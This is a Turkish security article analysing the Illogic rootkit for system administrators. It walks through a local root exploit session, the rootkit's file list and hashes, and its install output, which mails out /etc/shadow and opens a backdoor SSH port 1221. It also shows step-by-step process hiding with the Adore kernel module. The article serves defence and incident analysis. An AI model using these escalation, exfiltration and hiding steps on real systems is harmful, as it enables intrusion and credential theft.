ANALİZ: ILLOGIC ROOTKIT

Bu yazının amacı basit bir örnekle rootkitin ne maksatla kullanıldığını açıklamaktır. Yazının temelini illogic rootkit isimli araç oluşturmaktadır. Bu rootkit tanıtılıp, sisteme kurulum aşaması anlatılacaktır.

Özellikle sistem yöneticilerinin dikkat etmesi gereken birkaç husus vardır. Bu hususlardan birincisi önemli dosyaların muhakkak yedeği alınmalı. Yedeği alınacak dosyalardan bazıları şunlardır:

ls, ps, netstat, killall, top, chfn, chsh, date, du, echo, egrep, env, find, grep, hdparm, su, ifconfig, inetd, login, mail, named, passwd, pstree, rpcinfo, sendmail, sshd, syslogd, tar, tcpd, telnetd, timed, traceroute, write ...

ikinci husus ise dosyaların doğruluk tablosunu çıkarmaktır. Yani dosyaların MD5 kontrolünü yapmayı ihmal etmemek gerekir.

Saldırgan, herhangi bir yöntemle bulduğu kullanıcının şifresini kullanarak telnet veya ssh ile sisteme girer. Sistem hakkında bilgi edindikten sonra sisteme uygun, kafasında tasarladığı exploit ya da exploitleri deneyerek sistemde yönetici yetkisine(root) sahip olmak isteyecektir. Saldırganın ilk hedeflerinden biri sisteme normal kullanıcı olarak girme aşamasından sonra yönetici haklarına sahip olmaktır. Böylece istediği planları gerçekleştirebilecektir.

[saldirgan]$ ssh -l kdzeregli www.garibanim.yyy <-- saldırgan ssh ile kdzeregli kullanıcısının
kdzeregli@www.garibanim.yyy's password: <-- şifresini kullanarak sisteme girer.

/usr/X11R6/bin/xauth: creating new authority file /home/kdzeregli/.Xauthority

[kdzeregli@garibanim kdzeregli] cat /etc/redhat-release <-- sisteme ilişkin bilgiler alıyor
RedHat 7.0 (Avicenna) - -
[kdzeregli@garibanim tmp]$ uname -r <--2.4 --
[kdzeregli@garibanim tmp]$ uname -s <--Linux

[kdzeregli@garibanim tmp]$ id <-- kullanıcının durumunu inceliyor
uid=501(kdzeregli) gid=501(kdzeregli) groups=501(kdzeregli)

[kdzeregli@garibanim kdzeregli]$ cd /tmp

[kdzeregli@garibanim tmp]$ cat > exploitim.c <-- tasarladığı exploit ekleniyor

```
#include <stdio.h>
#include <stdlib.h>
#include <bfd.h>
#include <string.h>
#include <strings.h>
#include <linux/elf.h>

#define FATAL(a) { printf("fatal: %s\n",a); exit(0x0); }
..
...
```

CTRL^C

[kdzeregli@garibanim tmp]$ gcc -o exploitim exploitim.c -lbfd <-- exploit derleniyor

[kdzeregli@garibanim tmp]$ ./exploitim <-- exploiti çalıştırıyor

```
Resolving string positions
_IO_stdin_used=0x08117084
LANG is located at offset 29 = 0x081170a1
subsys_policies=0x0811a660
/etc/passwd is located at offset 2116 = 0x0811aea4
Resolving function call pointers
exit=0x08076978
getpwuid=0x080762e8
symlink=0x080768a8
chmod=0x08076398
Step 1
```

len: 2048
Step 2
len: 2048
Step 3

sh-2.05# id
uid=0(root) gid=0(root) groups=0(root) <------ işlem tamam. Mutlu sona eriyor

Yukarıdaki işlemleri gerçekleştiren saldırgan mutlu sona ermiştir. Fakat bundan sonrası saldırganın hayal gücüne kalmıştır. Yeni kullanıcı açabilir, sistemde arka kapı yaratabilir, sniffer yerleştirebilir, bnc kurabilir, başka sisteme DoS-DDoS atak yapabilir, sistemdeki kullanıcıların web sayfalarına müdahale edebilir...

Sistem yöneticisi bu tür işlemleri, sistem kayıtlarını inceleyerek fark edebilir ve saldırganın hevesini bir anda söndürebilir. Bu yüzden saldırgan sistemde yaptığı değişikliklerinin fark edilmesini engellemek için sistem kayıtlarında değişiklik yapar ya da rootkit araçları vasıtasıyla aktivitesini gizlemeye çalışır.

Bilgi

illogic.tgz (illogic Rootkit)

- Dosya boyutu: 953233 KB

- md5sum illogic.tgz

127ebf6f826bfd887896ff29d90ff206 illogic.tgz

- Barındırdığı dosyalar

addon.sh cleaner etc/ instmod network README setup sshd wget
adore.tgz crond fix linsniffer patcher rpass slogin sz x.conf
bj crond1 flood.tgz logo* pg scan.tgz sniffchk td
checkrk crypt in.ftpd lsn* rcp secure.sh socklist utime

- md5sum

2ad831f02af1b67bdd7838ffb417a57b addon.sh
37cf31758ae19b2a89efc2283608ce1d adore.tgz
6f63929a8e68eadeed936d1fdb5d310b bj
228d9441e8f1570918f87bb679f4423a checkrk
04c60df96b2340264b6b3a50e2e595a1 cleaner
677ef510ccdba78f44cb93761f491b5f crond
e922a1bba8ea4c5dee5f86da2da85994 crond1
207cdad835d17b9b2e3812db96ef5ca5 crypt
17e2394694abee0f294d77c318408e74 fix
8d810071507e6acfd8dc8381fae9ff2d flood.tgz
49d4c4b79eabce8188a9a4f8bad1a7ce in.ftpd
b67fc394b0bb424de22eaf00d4c658e5 instmod
17ddf4818f8cd3e0025435104594713f linsniffer
9ed674235ef10f57990cef4e5c02f699 logo
a4073ec9e5602c8ff9fdcd9aee11b56d lsn
0779db1db4a15f1912cdc8c6f5776415 network
b3f455f8fd83cf073905025dbc88d7b9 patcher
1e6dfeb1868f6b48d6b86922f59dbfce pg
dc1142cd125fce5f73c2762236f27703 rcp
c8f470805304c24b867b9fda81ab9b7d README
9f9a2bb72468bbc9237294275ec8203a rpass
463e869c3f7c8101ba8c3c32abf23d0d scan.tgz
b3f455f8fd83cf073905025dbc88d7b9 secure.sh
fc582e5068676fea69ca66fa4a4342be setup
0644772cf8918e3eb06142bd2dc787b1 slogin
b116f4783fb802eea446f53a1b32fd2b sniffchk
35a6945b0b9bf044a4cc4f524056024b socklist
be8d12fb7f76b4fc632d1da89481a3c1 sshd

```
080289bf789c7313b9162604de0c7967 sz
e7daf680272caeda30022de497dc5c03 td
2b7e72846eef8199c1e7de3f28bf1b0c utime
82c447a9f731e849a726763a4002f496 wget
9226f8c24e4d169f2d50044729201853 x.conf
```

Illogic rootkit aracının bünyesinde trojanlı dosyalar, adore ,flood kit isimli servis atak araçları, FreeBSD statd Scanner, Linux Mass Scanner, Linux Ssh Scanner,Linux StatdX Scanner gibi araçlar bulunmaktadır. Sisteme kurulduğunda, sistem hakkında gerekli bilgileri, setup dosyasında belirtilen mail adresine gönderir. illogic kurulum esnasında bazı kontroller yapar. Bu kontroller, işletim sisteminin RedHat olup olmadığı, sisteme daha önce illogic kurulup kurulmadığı, Ramen solucanının bulunup bulunmadığı, TeLeKit telnetd trojan kontrolü, tribe gibi kontrolleri içermektedir.

Kontroller şu şekilde yapılmaktadır(setup dosyası):

```
*******
printf "${WHI}*${DWHI} Checking for existing rootkits..\n"

if test -d /usr/src/.puta ; then
printf "${RED}*** WARNING ***${DWHI} t0rnkit v7 or rip is already installed here\n"
fi

if test -d /lib/security/.config ; then
printf "${RED}*** WARNING ***${DWHI} This rootkit... or an earlier version, is already here\n"
fi

if test -d /usr/src/.poop ; then
printf "${RED}*** WARNING ***${DWHI} RameN Worm is installed here\n"
fi

if test -f /dev/hda06 ; then
printf "${RED}*** WARNING ***${DWHI} TeLeKiT telnetd trojan could be installed here\n"
fi

if test -d /usr/info/libc1.so ; then
printf "${RED}*** WARNING ***${DWHI} TeLeKiT could be installed here\n"
fi

if test -d /dev/wd4 ; then
printf "${RED}*** WARNING ***${DWHI} tribe default bot install dir here\n"
fi
******
```

Eğer işletim sistemi RedHat değilse rootkit kurulurken şu uyarıyı verip kurma işlemini sona erdirir.

```
# ./setup

RedHat Linux Rootkit v0.6 Recompiled By ANGELO" - You dont have the right to judge me!
************************************************************************
************************************************************************
************************************************************************
******************** Illogic Rootkit v1.0 ***************************
******************* Recompiled by ANGELO`` **************************
************************************************************************
************************************************************************
************************************************************************
****************** We are now preparing the server ******************
************************************************************************
* Installing from /tmp/deneme/illogic - Will erase /tmp/deneme/illogic after install
**FATAL** Unsupported release of redhat ((Bluebird)) ... possibly too old
```

İşletim sistemi büyük ihtimalle Redhat olmadığından hata verip kurma işlemi sonlandırılmıştır.

Eğer illogic'in kurulumu esnasında bir hata oluşmazsa işlem şu şekilde biter:

```
Done! Mailing results ... Please wait ...
rico have been anounced
* Rootkit installation Completed in 2 Seconds.
* Password: clpa5w6z
*
* IP: xxx.xxx.xxx.xxx:SSH port:1221 Password:clpa5w6z www.garibanim.yyy
```

Artık Rootkit sistem bilgisini setup dosyasında belirtilen mail adrese göndermiştir. Bu bilgiler arasında sisteme ait donanımsal bilgiler, Rootkitin kurulduğu sistemin *IP adresi*, */etc/passwd* , */etc/shadow* dosyaları yer almaktadır.
Bu bilgileri ayrıca /lib/security/.config/info2 isimli dosyada saklamaktadır.
Örnek info2 dosyası şu şekildedir:

```
***
Linux www.garibim.yyy #1 Fri Mar 15 02:59:08 CET 2002 i686 unknown
***

*** Inet Info
inet addr:xxx.xxx.xxx.xxx Bcast:xxx.xxxx.xxx.255 Mask:255.255.255.0
inet addr:127.0.0.1 Mask:255.0.0.0
***

*** Uptime Info
12:29am up 2:22, 2 users, load average: 0.16, 0.15, 0.11
***

*** CPU Info
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 7
model name : Pentium III (Katmai)
stepping : 3
cpu MHz : 551.261
cache size : 512 KB
fdiv_bug : no
hlt_bug : no
f00f_bug : no
coma_bug : no
fpu : yes
fpu_exception : yes
cpuid level : 2
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov
pat pse36 mmx fxsr sse
bogomips : 1101.00

*** Passwd file
root:x:0:0:root:/root:/bin/bash
cilek:x:500:500:CiLeK:/home/cilek:/bin/bash
avicenna:x:501:501::/home/avicenna:/bin/bash
kdzeregli:x:502:502::/home/kdzeregli:/bin/bash
eregli:x:503:503::/home/eregli:/bin/bash
***

*** Shadow file -if any-
root:$1$BSVH.JD$cw3v2gd2.BX5AsX7qp91:12025:0:99999:7:::
cilek:$1$WKoLvh4$fFpfA/vsaz2GbEZi5A1:12031:0:99999:7:-1:-1:1073867006
avicenna:$1$uMh91o$XJO2I.PExkrPN/YQLS/0:12044:0:99999:7:-1:-1:1073867006
kdzeregli:$1$97aXMoX$kV0TynWA8XcNoELkztV1:12044:0:99999:7:-1:-1:1073867006
eregli:$1$Q0yDQv$wPG7S8Ourml5ugksmNW0:12044:0:99999:7:-1:-1:1073867006
***

*** Hard disk free ...
Filesystem Size Used Avail Use% Mounted on
/dev/hdc6 1.6G 925M 614M 61% /
```

```
none 62M 0 61M 0% /dev/shm
/dev/hdc1 4.3G 3.3G 1.0G 77% /mnt/win_c
/dev/hdc5 3.5G 2.1G 1.4G 59% /mnt/win_d
*** System memory ...
total used free shared buffers cached
Mem: 126820 123740 3080 0 3228 49016
-/+ buffers/cache: 71496 55324
Swap: 158088 4116 153972
*****
```

Aşağıda rootkitin kurulum esnasında gönderdiği mailin içeriğinden bir kısım yer almaktadır. Bu gönderilen paket snort(www.snort.org) ile tespit edilmiştir.
(/etc/shadow dosyasına ait)

```
00 1B 5B 4B 63 69 6C 65 6B 3A 24 31 24 57 4B 6F ..[Kcilek:$1$WKo
59 4C 76 68 34 24 53 66 46 31 70 66 41 2F 76 73 YLvh4$SfF1pfA/vs
71 61 7A 32 47 62 45 5A 69 35 41 31 3A 31 32 30 qaz2GbEZi5A1:120
33 31 3A 30 3A 39 39 39 39 39 3A 37 3A 2D 31 3A 31:0:99999:7:-1:
2D 31 3A 31 30 37 33 38 36 37 30 30 36 0A 0D 00 -1:1073867006...
1B 5B 4B 61 76 69 63 65 6E 6E 61 3A 24 31 24 78 .[Kavicenna:$1$x
75 4D 68 39 31 6F 6B 24 58 4A 4F 32 49 2E 50 45 uMh91ok$XJO2I.PE
78 6B 72 36 50 6C 4E 2F 59 51 4C 53 2F 30 3A 31 xkr6PlN/YQLS/0:1
32 30 34 34 3A 30 3A 39 39 39 39 39 3A 37 3A 2D 2044:0:99999:7:-
31 3A 2D 31 3A 31 30 37 33 38 36 37 30 30 36 0A 1:-1:1073867006.
0D 00 1B 5B 4B 6B 64 7A 65 72 65 67 6C 69 3A 24 ...[Kkdzeregli:$
31 24 39 37 61 58 58 4D 6F 58 24 6B 6A 56 30 54 1$97aXXMoX$kjV0T
79 6E 57 41 36 38 58 63 4E 6F 45 4C 6B 7A 74 56 ynWA68XcNoELkztV
31 3A 31 32 30 34 34 3A 30 3A 39 39 39 39 39 3A 1:12044:0:99999:
37 3A 2D 31 3A 2D 31 3A 31 30 37 33 38 36 37 30 7:-1:-1:10738670
30 36 0A 0D 00 1B 5B 4B 65 72 65 67 6C 69 3A 24 06....[Keregli:$
31 24 51 30 79 4D 44 51 1$Q0yMDQ
```

illogic Rootkit kurulum anında sistemdeki bazı dosyaları rootkitin ana dosyalarının kurulduğu /lib/security/.config/bin dizine içine kopyalar.

Kopyalanan sisteme ait dosyaları:

```
/bin/su
/bin/ping
/usr/bin/du
/usr/bin/passwd
/usr/bin/find
/bin/netstat
/usr/sbin/lsof
```

Bünyesindeki log temizleme aracını(cleaner) /usr/bin/sia , slogin isimli dosyasınıda /sbin/login, network dosyasini /etc/rc.d/init.d/network , in.ftpd dosyasini /usr/sbin/in.ftpd , named dosyasını /usr/sbin/named , sshd dosyasını /usr/bin/ssh2d olarak kaydederek sistemde 1221 numaralı portu acar.

Saldırgan artık herhangi bir sistemden rootkitin olduğu sisteme erişebilir.

```
[saldirgan]$ ssh -p 1221 -l root www.garibim.yyy
```

illogic rootkit artık /lib/security/.config dizine aktarılmıştır.

Bu kısımda bulunan dizin ve dosyalar:

```
drwxr-xr-x 3 4096 Jan 6 2002 adore/
drwxr-xr-x 2 4096 Dec 25 00:29 backup/
drwxr-xr-x 2 4096 Dec 25 00:29 bin/
-rwxr-xr-x 1 10072 Dec 25 00:29 checkrk*
-rwxr-xr-x 1 4032 Dec 25 00:29 cleaner*
-rwxr-xr-x 1 12407 Dec 25 00:29 crypt*
```

```
drwxr-xr-x 2 4096 Mar 7 2002 flood/
-rw-r--r-- 1 5090 Dec 25 00:29 info2
-rwxr-xr-x 1 92 Dec 25 00:29 instmod*
-rw-r--r-- 1 9 Dec 25 00:29 iver
-rwxr-xr-x 1 5192 Dec 25 00:29 lpsched*
-rwxr-xr-x 1 11975 Dec 25 00:29 pg*
-rwxr-xr-x 1 8816 Dec 25 00:29 rcp*
drwxr-xr-x 6 4096 Mar 7 2002 scan/
-rwxr-xr-x 1 2558 Dec 25 00:29 secure.sh*
-rwxr-xr-x 1 3229 Dec 25 00:29 socklist*
drwxr-xr-x 2 4096 Dec 25 00:29 ssh/
-rwxr-xr-x 1 97093 Dec 25 00:29 ssh2d*
-rwxr-xr-x 1 1596 Dec 25 00:29 sz*
-rw-r--r-- 1 887 Dec 25 00:29 uconf.inv
-rwxr-xr-x 1 11811 Dec 25 00:29 utime*
-rwxr-xr-x 1 55604 Dec 25 00:29 wget*
drwxr-xr-x 2 4096 Dec 25 00:29 work/
```

Saldırgan bu dosyaları kullanarak sisteme ve bu sistem üzerinden dış sistemlere müdahale araçlarını da yüklemiştir.

Örneğin flood dizininde bulunan araçlarla diğer sistemlere karsı atakta bulunabilir.

Bu flood kit araçları şu dosyalardan oluşuyor:

```
slice2
slice3
stealth
synk
vadimII
```

Scan dizindeki araçlar yardımı ile diğer sistemlerde güvenlik problemi olup olmadığı analizini de yapabilmekte ve sorunlu sisteme rahatlıkla arkakapı(backdoor) bırakabilmektedirler.

Çalışan dosyaların gizlenmesi:

Saldırgan rootkit aracındaki adore dosyalarını kullanarak istediği çalışan dosyaları gizleyebilir.
Bunun nasıl yapıldığını adım adım görelim.
Saldırgan illogicin kurulu olduğu dizine gelerek adore yi kurar.

```
sh-2.05# cd /lib/security/.config/adore <-- adore dizinine geçiyor
sh-2.05# ./configure <-- kurma işlemi gerçekleştiriliyor
Starting adore configuration ...

Checking 4 ELITE_UID ... found 30
Checking 4 ELITE_CMD ... using 22324
Checking 4 SMP ... NO
Checking 4 MODVERSIONS ... YES
Checking for kgcc ... found cc
Checking 4 insmod ... found /sbin/insmod -- OK

Loaded modules:
isofs 25792 1 (autoclean)
inflate_fs 19328 0 (autoclean) [isofs]
binfmt_misc 6084 1
es1371 26656 0
soundcore 4068 4 [es1371]
ac97_codec 9568 0 [es1371]

This procedure will save adore from scanners.
Try to choose a unique name that won't clash with normal calls to mkdir(2).
Password (echoed):erdemir

Preparing /lib/security/.config/adore (== cwd) for hiding ...
```

```
Creating Makefile ...
Exec-redirection disabled ...

sh-2.05# make
rm -f adore.o
cc -c -I/usr/src/linux/include -O2 -Wall -DELITE_CMD=22324 -DELITE_UID=30 -DCURRENT_ADORE=38
-DADORE_KEY=\"erdemir\" -DMODVERSIONS adore.c -o adore.o
In file included from adore.c:35:
/usr/src/linux/include/linux/malloc.h:4:2: warning: #warning linux/malloc.h is deprecated, use
linux/slab.h instead.
cc -O2 -Wall -DELITE_CMD=22324 -DELITE_UID=30 -DCURRENT_ADORE=38 -DADORE_KEY=\"erdemir\" -
DMODVERSIONS
ava.c libinvisible.c -o ava
cc -I/usr/src/linux/include -c -O2 -Wall -DELITE_CMD=22324 -DELITE_UID=30 -DCURRENT_ADORE=38
-DADORE_KEY=\"erdemir\" -DMODVERSIONS cleaner.c

sh-2.05# mv adore.o lamerel.o
sh-2.05# mv cleaner.o spoofu.o
sh-2.05# ./startadore
sh-2.05# ps -aux <-- çalışan dosyalar görülmekte. çalışan exploit gizlenmek isteniyor
....
....
kdzeregli 5170 0.0 1.9 3704 2484 pts/8 S 01:11 0:00 ./exploitim
....
....

sh-2.05# ./ava <-- gizlemeyi adore derlendikten sonra yapacak olan dosya

Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible

sh-2.05# ./ava i 5170 <-- gizlenecek olan dosyanın PID numarası yazılıyor.

Checking for adore 0.12 or higher ...
Adore 0.38 installed. Good luck.
Made PID 5170 invisible.

sh-2.05# ps -aux <-- ve artık çalışan dosya gizlenmiştir ;)
root 5180 0.0 1.2 2820 1608 pts/8 S 01:11 0:00 sh
root 5466 0.0 0.7 2928 980 pts/8 R 01:28 0:00 ps -aux
```

GEREKLI ADRESLER:

http://packetstormsecurity.org/UNIX/penetration/rootkits
http://staff.washington.edu/dittrich/misc/faq/rootkits.faq
http://mozzer.routingloop.com/maillists/incidents/0204/0927.html
http://online.securityfocus.com/archive/75/268589

Tacettin Karadeniz
tacettink{@}olympos.org